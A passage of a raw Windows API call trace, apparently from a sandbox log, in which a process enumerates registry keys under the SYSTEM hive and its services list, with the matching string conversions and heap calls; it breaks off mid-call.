lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.497] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0170.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.497] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.498] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.498] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.498] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0170.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.499] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.499] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0170.499] RegCloseKey (hKey=0x9c) returned 0x0 [0170.499] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.499] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0170.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.499] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.500] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.500] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.500] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0170.500] RegCloseKey (hKey=0x150) returned 0x0 [0170.500] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0170.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.501] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.501] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.501] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0170.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.502] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.502] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.502] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.502] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0170.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.503] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, 